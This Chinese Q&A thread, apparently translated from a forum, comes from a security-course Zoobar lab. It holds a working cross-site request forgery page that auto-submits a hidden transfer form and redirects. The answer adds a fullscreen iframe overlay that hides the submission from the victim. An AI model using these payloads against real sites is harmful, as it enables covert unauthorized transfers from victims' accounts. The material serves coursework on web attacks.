如何在 iframe 的帮助下不可见地提交表单

Question

这是关于我正在学习的计算机安全课程的问题。

我有以下 WORKING HTML 文档，它只是为我提交了一个表单：

<form method="POST" name="transferform"
  action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se")
</script>

现在我想将表单隐藏在 iframe 后面。我已经按照互联网上的其他解决方案提出了这个：

<iframe src = "http://www.kth.se">
<form method="POST" name="transferform"
  action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>

<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se");
</script>
</iframe>

还有这个：

<iframe src = "http://www.kth.se">
<form method="POST" name="transferform"
  action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>
</iframe>
<script>
document.getElementsByName("submission")[0].click();
</script>

，它们之间的唯一区别是结束 iframe 标记的位置。

我的问题是，当我使用浏览器（支持 iframe）打开文档时，我看到了 iframe，但我没有通过document.getElementsByName("submission")[0].click(); 行提交表单获得想要的效果。提交由网站在 transfer.php 文件中处理，其相关部分是：

<?php 
  require_once("includes/common.php"); 
  nav_start_outer("Transfer");
  nav_start_inner();
  if($_POST['submission']) {
    $recipient = $_POST['recipient'];
    $zoobars = (int) $_POST['zoobars'];
    $sql = "SELECT Zoobars FROM Person WHERE Username='" .
           addslashes($user->username) . "'";
    $rs = $db->executeQuery($sql);
    $sender_balance = $rs->getValueByNr(0,0) - $zoobars;

    $sql = "SELECT Username, Zoobars FROM Person WHERE Username='" .
       addslashes($recipient) . "'";
    $rs = $db->executeQuery($sql);
    $recipient_exists = $rs->getValueByNr(0,0);
    if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists) {
      $sql = "UPDATE Person SET Zoobars = $sender_balance " .
             "WHERE Username='" . addslashes($user->username) . "'";
      $db->executeQuery($sql);
      $sql = "SELECT Zoobars FROM Person WHERE Username='".
             addslashes($recipient) . "'";
      $rs = $db->executeQuery($sql);
      $recipient_balance = $rs->getValueByNr(0,0) + $zoobars;
      $sql = "UPDATE Person SET Zoobars = $recipient_balance " .
             "WHERE Username='" . addslashes($recipient) . "'";
      $db->executeQuery($sql);
      $result = "Sent $zoobars zoobars";
    }
    else $result = "Transfer to $recipient failed.";
  }
?>

据我所知，我制作的 HTML 文档在没有 iframe 的情况下也能正常工作，我相信 iframe 会以某种方式阻碍或改变脚本的执行。有没有人知道这是不是真的？如果不是，是什么原因导致这种改变或无法正常工作？

Answer 1

如果我没听错的话，你想将表单隐藏在 iframe 后面。

所以

    <form method="POST" name="transferform"
  action="http://dasak.csc.kth.se/zoobar/transfer.php">
<p>Send <input name="zoobars" type=text value="1" size=5> </p>
<p>to <input name="recipient" type=text value="sahand" size=10></p>
<input type=submit name="submission" value="Send">
</form>

<iframe style="background-color:grey;display:block;position:fixed;top:0px;left:0px;right:0px;bottom:0px;z-index:9999"></iframe>

<script>
document.getElementsByName("submission")[0].click();
location.replace("http://dasak.csc.kth.se")
</script>

结果：https://jsfiddle.net/ccj27ojf/